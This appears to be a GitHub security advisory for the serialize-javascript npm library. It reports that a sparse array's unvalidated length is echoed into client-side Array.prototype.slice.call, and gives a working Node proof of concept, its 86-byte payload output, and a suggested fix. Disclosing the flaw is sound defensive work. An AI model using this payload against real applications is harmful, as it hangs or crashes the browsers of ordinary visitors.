Skip to content

Security Advisory: serialize-javascript echoes an unvalidated sparse-array length into client-side Array.prototype.slice.call, enabling browser CPU/memory denial of service #229

Description

@waydeshi

Summary

Attribute Value
Vendor / Org Yahoo
Product serialize-javascript
Component index.js — sparse-array serialization branch
Affected Versions >= 5.0.0, <= 7.1.1 (client-side residual of the sparse-array branch)
Severity Medium
CVSS 3.1 Score 6.9
CVSS 3.1 Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:N/A:H
CWE CWE-789 (Memory Allocation with Excessive Size Value), CWE-1284
Affected File index.js:325 (output construction), index.js:176-181 (sparse detection)

CVSS 3.1 Breakdown

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:N/A:HScore: 6.9 (Medium)

Metric Value Justification (from the PoC)
Attack Vector (AV) N Attacker controls an array index via a normal network request parameter.
Attack Complexity (AC) L A single request with a large numeric index; no race or special state.
Privileges Required (PR) N No authentication needed.
User Interaction (UI) R A victim must load the page that hydrates the serialized output.
Scope (S) C Server-produced output crosses into the victim browser, whose resources (a different authority) are exhausted.
Confidentiality (C) N No data disclosure.
Integrity (I) N No data modification.
Availability (A) H The victim browser tab hangs/OOMs materializing an up-to-2^32-1-length array.

Description

Excessive memory allocation in the sparse-array serialization of Yahoo serialize-javascript >= 5.0.0, <= 7.1.1 allows a remote attacker who controls an array index to cause client-side denial of service, by emitting an array-like literal whose unvalidated length (up to 4,294,967,295) is materialized by Array.prototype.slice.call in the victim's browser.

When a sparse array is serialized, the library emits
Array.prototype.slice.call({..., "length": <N>}), copying the original array's length
into the output with no validation or upper bound. Server-side cost is O(assigned
elements), but the hydrating browser pays O(length). An attacker who controls only an array
index (results[req.query.page] = row) produces a ~86-byte response that forces the client
to iterate up to 2^32-1 times.

Security consequence (so-what): an attacker spends a few dozen bytes to hang or crash
the browser tab of every user who renders the affected page — a decoupled client-side
resource-exhaustion (amplification) DoS.

Relationship to CVE-2026-34043 (GHSA-qj8w-gfj5-8c6v): that advisory fixed the
server-side CPU cost of detecting a large array-like (patched in 7.0.5 via
Array.isArray/Object.keys). This report concerns the still-present client-side
emission at index.js:325, which echoes the length into the output executed by the
victim browser. The two have different sinks and different fixes.


Root Cause

The sparse branch materializes the output by merging the raw length into an object literal:

if (type === 'A') {
    return "Array.prototype.slice.call(" +
        serialize(Object.assign({ length: arrays[valueIndex].length }, arrays[valueIndex]),
                  options) + ")";                                  // index.js:325
}

arrays[valueIndex].length is written verbatim. Unlike the Date (index.js:300), RegExp
(index.js:308-311) and URL (index.js:342) branches, which validate their emitted values,
length receives no Number.isInteger/upper-bound check. The generated
Array.prototype.slice.call({length: 4294967295, ...}) is valid JS whose evaluation in the
browser allocates/iterates a 4.29-billion-slot array.


Reproduction Environment

Item Value
Runtime Node.js v26.5.0
serialize-javascript 7.1.1 (installed from npm registry)
OS macOS (darwin 25.6.0)
Build tool npm

Proof of Concept

POC Source Code

package.json

{
  "name": "sjs-cve-poc",
  "version": "1.0.0",
  "private": true,
  "dependencies": {
    "serialize-javascript": "7.1.1"
  }
}

poc02_sparse_array.js

// PoC #2 — client-side CPU/memory amplification via unvalidated sparse-array length.
// Reachability: a public HTTP handler assigns rows by an attacker-controlled index.
// serialize-javascript@7.1.1 echoes the array-like `length` verbatim into the output;
// the victim browser's Array.prototype.slice.call pays O(length).
const serialize = require('serialize-javascript');

function serverHandler(query) {            // models: app builds page state from request
  const results = [];
  results[query.page] = { ok: true };      // pure data: attacker controls only an index
  return serialize({ results });           // embedded as <script>window.__STATE__=...</script>
}

// --- attacker request ---
const out = serverHandler({ page: 4294967294 });
console.log('server output bytes:', out.length);
console.log('server output      :', out);

// --- what the victim browser evaluates (real cost simulation) ---
// Measure the client hydration cost with a smaller but already-crippling length so the
// harness terminates; production `length` = 4294967295 makes this effectively unbounded.
function clientCost(lengthVal) {
  const arrayLike = { length: lengthVal, [lengthVal - 1]: { ok: true } };
  const t = Date.now();
  const arr = Array.prototype.slice.call(arrayLike);   // exactly what the output does
  return { ms: Date.now() - t, materialized: arr.length };
}
for (const L of [1e6, 1e7, 1e8]) {
  const r = clientCost(L);
  console.log(`client slice length=${L}: ${r.ms} ms, array elements=${r.materialized}`);
}

// --- control baseline: dense array of same logical size is NOT sparse -> not amplified ---
const dense = serialize({ results: [{ ok: true }] });
console.log('control (dense len=1) output:', dense);

Execution Steps

  1. mkdir poc && cd poc
  2. Save the package.json above, then npm install.
  3. Save the source above as poc02_sparse_array.js.
  4. node poc02_sparse_array.js

Actual Execution Evidence

server output bytes: 86
server output      : {"results":Array.prototype.slice.call({"4294967294":{"ok":true},"length":4294967295})}
client slice length=1000000: 14 ms, array elements=1000000
client slice length=10000000: 140 ms, array elements=10000000
client slice length=100000000: 1279 ms, array elements=100000000
control (dense len=1) output: {"results":[{"ok":true}]}

Analysis of Results

The server emits a fixed 86-byte string regardless of length, confirming cost is
decoupled from server effort. The client cost grows linearly with the echoed length
(1e6→14ms, 1e7→140ms, 1e8→1279ms); extrapolated to the emitted length of 4,294,967,295
the browser thread is blocked for ~50+ seconds and allocates billions of slots, hanging or
OOM-crashing the tab. The control (a dense one-element array) serializes as a plain
[{"ok":true}] with no slice.call and no amplification — isolating the defect to the
unvalidated sparse-array length echo.


Impact

A single small request lets an unauthenticated attacker embed an amplification bomb into a
page's serialized state; every visitor who hydrates that state suffers a hung/crashed
browser tab. Applications that route user-controlled indices into arrays they later
serialize (pagination, id-keyed result maps) are exposed.


Remediation

Recommended Fix

Validate length once and emit a construction linear in the assigned elements, never
echoing an arbitrary length:

if (type === 'A') {
    var src = arrays[valueIndex];
    var len = src.length;
    if (!Number.isInteger(len) || len > (options.maxArrayLength || 100000)) {
        throw new TypeError('Array length exceeds serialization limit');
    }
    // emit a construction proportional to assigned elements only
    ...
}

This keeps client cost proportional to the data actually present, a maintainer-owned change
at index.js:325.

Workaround

Consumers should validate/limit any user-controlled array index before serialization and
avoid creating sparse arrays from request data.


References

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions